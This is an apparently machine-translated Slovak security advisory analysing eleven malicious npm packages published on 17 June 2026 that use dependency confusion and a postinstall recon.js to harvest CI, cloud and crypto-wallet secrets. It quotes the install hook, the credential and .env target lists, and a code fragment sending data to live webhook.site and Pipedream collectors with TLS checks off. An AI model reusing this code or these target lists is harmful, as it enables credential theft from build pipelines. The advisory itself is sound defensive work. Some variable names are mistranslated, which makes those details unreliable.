TL; DR
Dňa 17. júna 2026 bol zverejnený jeden účet npm jedenásť balíkov, ktoré zdieľajú jeden účel a jeden dátový úžitokDesať z nich nesie cryptodao- predpona (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); jedenásty je rozsah @public-for-cdao/coreKaždý z nich bol publikovaný vo verzii 99.99.99 a odosiela bajtovo identický recon.js ktorý beží ďalej postinstall.
Názvy sú náznakom. Čítajú sa ako vnútorné stavebné kamene súkromného reťazca nástrojov krypto/DAO projektu. Sú zverejnené vo verejnom registri npm s umelo zvýšenou verziou a čakajú na zostavenie. pipeline ktorý je nakonfigurovaný na preklad týchto názvov a ktorý sa dostane do verejného npm pred – alebo namiesto – súkromného registra. Toto je zmätok zo závislostia užitočné zaťaženie je naladené presne na miesto, kde sa očakáva pristátie: CI/CD bežci.
Kedy postinstall požiare, recon.js zhromažďuje podrobnosti o hostiteľovi, zhruba prehľadáva štyridsať premenných prostredia cloudu, CI a kryptopeňaženiek, číta ľubovoľné .env súbory, ktoré dokáže nájsť, a doslovne prepošle riadky s tajným textom, potom odošle balík dvom zberateľom – webhook.site a koncový bod Pipedream – s vypnutým overovaním certifikátu TLS. Kópia je tiež napísaná pod /tmp.
Závažnosť: vysokýOvplyvnený ekosystém: NPMVšetkých jedenásť balíkov bolo v čase písania tohto článku aktívnych.
Anatómia útoku
Mechanizmus má štyri pohyblivé časti a žiadna z nich nie je nenápadná, akonáhle viete, pozrite sa o jednu vrstvu ďalej ako názov balíka.
1. Inflácia verzií ako návnada pre resolverov. Každý balík deklaruje verziu 99.99.99Zmätok v závislostiach funguje, keď správca balíkov požiada o interný názov, tiež kontroluje verejný register a vyberá najvyššiu verziu nájde. Predvolená voľba npm pre rozsah vsuvky alebo zástupných znakov je najuspokojivejšia verzia v každom nakonfigurovanom zdroji; ak sú obe súkromné register a verejná odpoveď npm pre rovnaký názov, vyhráva väčšie číslo verzie. A 99.99.99 v podstate prevyšuje akúkoľvek skutočnú internú verziu, ktorú projekt bude mať dosiahnuté, takže resolver, ktorý nie je pripnutý k súkromnému zdroju, uprednostňuje verejný – a v tomto prípade nepriateľský – text. Prevádzkovateľ nemusí poznať skutočné čísla verzií cieľa; výber absurdného maxima vždy zaručuje remízu prerazí si cestu.
2. Spúšťač po inštalácii. package.json pripája užitočné zaťaženie k inštalácii životný cyklus:
{ "scripts": { "postinstall": "node recon.js" } } Nie je potrebný žiadny import balíka. Stačí ho nainštalovať – čo je CI pipeline robí automaticky — spúšťa sa recon.js.
3. Rozsiahle tajné prehliadky. recon.js zostavuje pole výsledkov vo fázach:
- Kontext hostiteľa: názov hostiteľa, platforma a vydanie, architektúra, používateľské meno, funkčnosť adresára.
- Premenné prostredia: iteruje pevný zoznam približne štyridsiatich mien a záznamov všetky, ktoré sú nastavené. Zoznam je výpovedný – páruje generické tokeny CI (CI_JOB_TOKEN, HESLO_REGISTRA_CI, GITLAB_ACCESS_TOKEN) a cloud poverenia (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) s tajnými údajmi registra a kontajnera (NPM_TOKEN, DOCKER_PASSWORD, HESLO_PRÍSTAVU) a klaster s výrazne krypto príchuťou: SÚKROMNÝ_KĽÚČ, MNEMOTECHNIKA, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, ETH_RPC, BSC_RPCZaznamenané hodnoty sa skrátia na prvých 50 znakov.
- .env súbory: prehľadáva zoznam ciest — .env, ../.env, /app/.env, /app/backend/.env, /app/bot/.env, /domov/gitlab-runner/.env, /root/.env, a .výroba/.vývoj varianty – a pre každý existujúci súbor, filtruje obsah na zodpovedajúce riadky KĽÚČ|TAJNÉ|ŽETON|HESLO|SÚKROMNÉ|MNEMONICKÁ POMOCNÁ TECHNIKA a vloží tieto riadky **v plnom znení** do výsledkov.
- Kontext hostiteľa zostavy: uvádza prvých 20 záznamov /staví/, /domov/gitlab-runner/zostavenia/, /var/lib/gitlab-runner/a / TMP /.
Zoznam ciest a zoznam premenných sú zamerané na bežcov GitLabu, čo poukazuje na užitočné zaťaženie priamo na samostatne hostovanej infraštruktúre CI, a nie na vývojárovi notebook. Zoskupenie zoznamu úlovkov podľa kategórie zjednodušuje plánovaný úlovok:
| kategórie | Dosiahnuté premenné / cesty |
|---|---|
| CI/CD identita a nasadenie | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| mrak | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Register a kontajner | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Úložiská údajov | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Kryptomeny / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Správy | SLACK_TOKEN, DISCORD_TOKEN |
| Na disku | .env family + /home/gitlab-runner/.env, /root/.env, /app/**/.envzoznamy adresárov /builds/, /var/lib/gitlab-runner/ |
Krypto klaster je tá časť, ktorá to odlišuje od generického CI-tajného zabezpečenia. sweep: frázy peňaženky a podpisové kľúče sa zobrazujú iba v prostredí blockchain projekt a priamo sa mapujú na kryptodao-/znamenie/zmluvy pomenovanie dopravcov.
4. Dvojitá exfiltrácia s vypnutým overením. Zozbierané pole je serializovaný a odoslaný na dve destinácie:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) rejectUnauthorized: false vypne kontroly certifikátov TLS pre odchádzajúcu komunikáciu volania. Tie isté údaje sa vypíšu na stdout (takže sa dostanú aj do protokolov úloh CI) a napísané komu /tmp/.npm_recon_ .jsonChyby sú potichu prehltnuté, takže Neúspešné odoslanie nezanecháva v inštalačnom výstupe žiadnu stopu okrem jednej prieskum nainštalovaný na linka.
Hlavný komentár v súbore to opisuje ako „Zmätok v závislostiach“. „Prieskumné užitočné zaťaženie.“ Skrátenie hodnôt prostredia na 50 znakov bolo tvar dôkazu konceptu. To, čo ho posúva za hranicu signálu iba pre prítomnosť, je .env manipulácia: linky s tajným obsahom sa preposielajú v plnom rozsahu a cieľové adresy sú dva funkčné, útočníkom ovládané zberače, a nie jeden spotrebič, ktorý sa počíta iba hity.
časová os
Publikačný vzor je podpisom jedného skriptovaného push, nie jedenástich nezávislé nahrávania.
| Čas (UTC, 17. júna 2026) | udalosť |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 zverejnená |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — variant s rozsahom, ~24 minút neskôr |
Desať balíkov bolo odoslaných v priebehu 29 sekúnd, približne jeden každé tri sekundy. Rozsah @public-for-cdao/core nasledovalo asi 24 minút po — sekunde pomenovacia konvencia pre rovnaký cieľ v prípade, že sa naň odvoláva projekt, ktorý ho využíva interný reťazec nástrojov v rámci rozsahu, a nie ako holé názvy.
Indikátory kompromisu
| Typ | Indikátor |
|---|---|
| Kolektor | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Kolektor | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Nainštalujte hák | postinstall: node recon.js |
| Zrušený súbor | /tmp/.npm_recon_<timestamp>.json |
| Značka guľatiny | [recon] <pkg>@<ver> installed on <hostname> (štandardný výstup v protokoloch CI) |
| behaviorálna | rejectUnauthorized: false na odchádzajúcom HTTPS počas inštalácie |
| payload | recon.js, identické vo všetkých jedenástich balíkoch (jedna zdieľaná zostava) |
| verzia | 99.99.99 na každom balíku |
| Balíčky | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (všetko 99.99.99) |
| vydavateľ | aduljune / aduljune@proton.me (e-mail neoverený, žiadne prepojené úložisko zdrojového kódu) |
Pripisovanie a pozorované správanie
Všetko o klastri poukazuje na jednu stranu. Všetkých jedenásť balíkov bolo publikovaných. prostredníctvom účtu npm aduljune (aduljune@proton.me, neoverená adresa bez prepojeného zdrojového repozitára), v priebehu 25 minút, súčasne 99.99.99 verzia, preprava recon.js ktorých obsah je bajt po bajte identický v každom balík (MD5 sa zhoduje vo všetkých jedenástich extrahovaných kópiách). To je jeden dátový obsah vyrazené na zozname mien, nie nezávislé opätovné použitie kódu.
Zoznam mien definuje zamýšľaný cieľ. kryptodao-* a cdao opísať rozloženie súkromného modulu krypto/DAO projektu a zoznam zberu užitočného zaťaženia zrkadlá, ktoré hádajú: popri všeobecných tajomstvách CI a cloudu, konkrétne siaha po SÚKROMNÝ_KĽÚČ, MNEMOTECHNIKA, SEED_PHRASEa RPC Ethereum/BSC a kľúče poskytovateľa. .env vyhľadávacie cesty a zoznamy adresárov sú spustené pomocou GitLab-runnera špecifické. Pozorovateľným efektom je, že akýkoľvek pipeline oklamaní pri inštalácii týchto mená by preposielali svoje CI tokeny, cloudové kľúče a dáta na disku .env tajomstvá – a pre blockchainový projekt, jeho materiál pre peňaženku – dvom tretím stranám, ktoré vykonávajú zberateľské činnosti.
Nerobíme žiadne tvrdenia o tom, kto spravuje účet alebo čo s ním plánoval urobiť. údaje. Fakty, ktoré obstoja samy o sebe: názvy sa zameriavajú na špecifický druh interný reťazec nástrojov, užitočné zaťaženie číta a prenáša skutočné tajné hodnoty a infraštruktúra bola aktívna.
Dopad, trendy a poradenstvo pre obrancov
Zmätok v závislosti zostáva účinný, pretože využíva správanie resolvera, nie zraniteľnosť v akomkoľvek balíku. Nosič je tu triviálny – jedenásť takmer prázdnych balíky – ale polomer výbuchu je akýkoľvek pipeline mylne uprednostňuje verejné npm pre interný názov. CI bežci sú na to najhorším miestom: držia presne tie žetóny a .env súbory, ktoré toto užitočné zaťaženie číta a inštaluje závislosti neinteraktívne, takže a po inštalácii beží bez toho, aby sa naňho niekto pozeral.
Tento klaster tiež zodpovedá vzoru, ktorý neustále vidíme: užitočné zaťaženia v čase inštalácie, ktoré prezentujú ako „výskum“ alebo „prieskum“ pri skutočnom zhromažďovaní poverení. Označenie v súbore nemení, čo kód robí na bežci. Zachovávajú sa dve možnosti dizajnu aktivita tichá: každá sieťová a súborová operácia je zabalená v obsluha výnimiek, ktorá zahodí chyby, teda blokované odoslanie alebo chýbajúci súbor nevytvára žiadny diagnostický výstup a jediné, čo sa vytlačí, je jeden neškodný [rekonštr.] … nainštalované linka, ktorá splýva s bežným inštalačným rozprávaním. Použitie webhook.site a Pipedream je tiež zámerne pohodlný – obe sú zadarmo, okamžite poskytované služby zachytávania požiadaviek, takže operátor nepotrebuje žiadne servery svoje vlastné a cieľové umiestnenia vyzerajú ako bežné názvy hostiteľov SaaS v odchádzajúcich protokoloch.
Ekonomické dôvody robia toto riešenie hodným pozornosti obrancu, aj keď... kód operátora je triviálny. Registrácia jedenástich mien nič nestojí, užitočné zaťaženie je jedno súbor skopírovaný jedenásťkrát a správca balíkov vykoná všetky operácie. Jeden nesprávne nakonfigurované pipeline kdekoľvek, kto konzumuje jedno z týchto mien, platí za celé Prevádzka.
Konkrétne kroky pre obhajcov:
- Pripnite interné rozsahy do svojho súkromného registra. Nakonfigurujte npm tak, aby obsahoval interné názvy
a rozsahy sa riešia iba vo vašom registri (mapovania registra .npmrc s rozsahom, alebo proxy, ktorý sa nikdy neprepojí s verejným npm pre vlastnené menné priestory). Rezervujte si verejné názvy oblastí, aby ich nikto iný nemohol zaregistrovať.
- Commit uzamykateľné súbory a nainštalujte ich pomocou –ignore-scripts v CI kde je to možné, alebo overiť malú sadu závislostí, ktoré skutočne potrebujú inštalačné skripty. Súbor recon.js sa nedá spustiť, ak po inštalácii nie je vykonaný.
- Zaobchádzajte s verziou interne vyzerajúceho mena s cenou 99.99.99 (alebo inou absurdne vysokou cenou) ako červená vlajka pri kontrole závislostí a monitorovaní registra.
- Upozornenie na výstup počas inštalácie. A po inštalácii ktorý otvára odchádzajúci HTTPS pripojenie – najmä s vypnutým overovaním certifikátov – k Služby webhook.site, Pipedream alebo podobné služby na zachytávanie požiadaviek sa oplatí blokovať na okraji siete a označovať ich v protokoloch zostavenia.
- Hľadajte artefakty. Skontrolujte bežcov, či /tmp/.npm_recon_*.json a pre [rekonštr.] … nainštalované na … značke v posledných protokoloch CI. Ak sa nájde, otočiť každých poverenie vystavené tomu pipeline — CI tokeny, cloudové kľúče, tokeny registra a akékoľvek základné hodnoty peňaženky alebo súkromné kľúče prítomné v prostredí alebo súboroch .env.
Referencie
V čase písania tejto analýzy neexistovali žiadne externé správy o tomto klastri; vyššie uvedené je priamo založené na publikovanom obsahu balenia




